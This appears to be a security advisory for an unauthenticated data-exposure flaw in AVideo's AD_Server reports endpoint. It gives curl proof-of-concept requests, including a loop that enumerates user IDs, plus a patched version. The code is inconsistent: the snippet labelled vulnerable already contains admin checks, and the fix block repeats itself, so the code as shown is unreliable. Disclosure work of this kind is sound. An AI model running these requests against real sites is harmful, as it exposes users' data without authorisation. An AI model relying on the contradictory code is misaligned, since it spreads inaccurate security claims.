AVideo Allows Unauthenticated Access to AD_Server reports.json.php that Exposes Ad Campaign Analytics and User Data

// plugin/AD_Server/reports.json.php:1-10
<?php
header('Content-Type: application/json');
require_once '../../videos/configuration.php';

// Fetch request parameters with safety checks
$startDate = !empty($_REQUEST['startDate']) ? $_REQUEST['startDate'] . ' 00:00:00' : null;
$endDate = !empty($_REQUEST['endDate']) ? $_REQUEST['endDate'] . ' 23:59:59' : null;
$reportType = isset($_REQUEST['reportType']) ? $_REQUEST['reportType'] : null;

if (!User::isAdmin()) {
    forbiddenPage(__("You cannot do this"));
    exit;
}

if (!User::isAdmin()) {
    forbiddenPage('You must be Admin');
}

# 1. Get all ad performance by video — returns video titles, user channel names,
#    user IDs, campaign names, and impression counts (no auth needed)
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByVideo'

# Expected: JSON array with objects containing video_title, channelName,
# users_id, videos_id, total_ads, campaign_name

# 2. Get per-user ad analytics for a specific user
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=1'

# Expected: JSON array with video_title, videos_id, total_ads, campaign_name, users_id

# 3. Get ad type breakdown with campaign names
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adTypes'

# Expected: JSON array with type, total_ads, campaign_name

# 4. Get ads for a specific video
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsForSingleVideo&videos_id=1'

# Expected: JSON array with type, total_ads, campaign_name

# 5. Enumerate users by iterating user IDs
for i in $(seq 1 20); do
  curl -s "https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=$i"
done

# 6. Aggregate view counts (lower impact, also unauthenticated)
curl -s 'https://target/plugin/AD_Server/getData.json.php'

# Expected: {"error":false,"msg":"","views":12345}

<?php
header('Content-Type: application/json');
require_once '../../videos/configuration.php';

if (!User::isAdmin()) {
    header('HTTP/1.1 403 Forbidden');
    die(json_encode(['error' => 'You must be an admin to access this resource']));
}

header('Content-Type: application/json');
require_once '../../videos/configuration.php';

if (!User::isAdmin()) {
    header('HTTP/1.1 403 Forbidden');
    die(json_encode(['error' => true, 'msg' => 'You must be an admin to access this resource']));
}